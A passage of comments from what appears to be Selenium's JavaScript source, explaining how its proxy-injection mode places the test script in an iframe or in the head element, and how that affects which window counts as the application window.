6 // Some background on the code below: broadly speaking, where we are relative to other windows
7 // when running in proxy injection mode depends on whether we are in a frame set file or not.
8 //
9 // In regular HTML files, the selenium JavaScript is injected into an iframe called "selenium"
10 // in order to reduce its impact on the JavaScript environment (through namespace pollution,
11 // etc.). So in regular HTML files, we need to look at the parent of the current window when we want
12 // a handle to, e.g., the application window.
13 //
14 // In frame set files, we can't use an iframe, so we put the JavaScript in the head element and share
15 // the window with the frame set. So in this case, we need to look at the current window, not the
16 // parent when looking for, e.g., the application window. (TODO: Perhaps I should have just
17 // assigned a regular frame for selenium?)
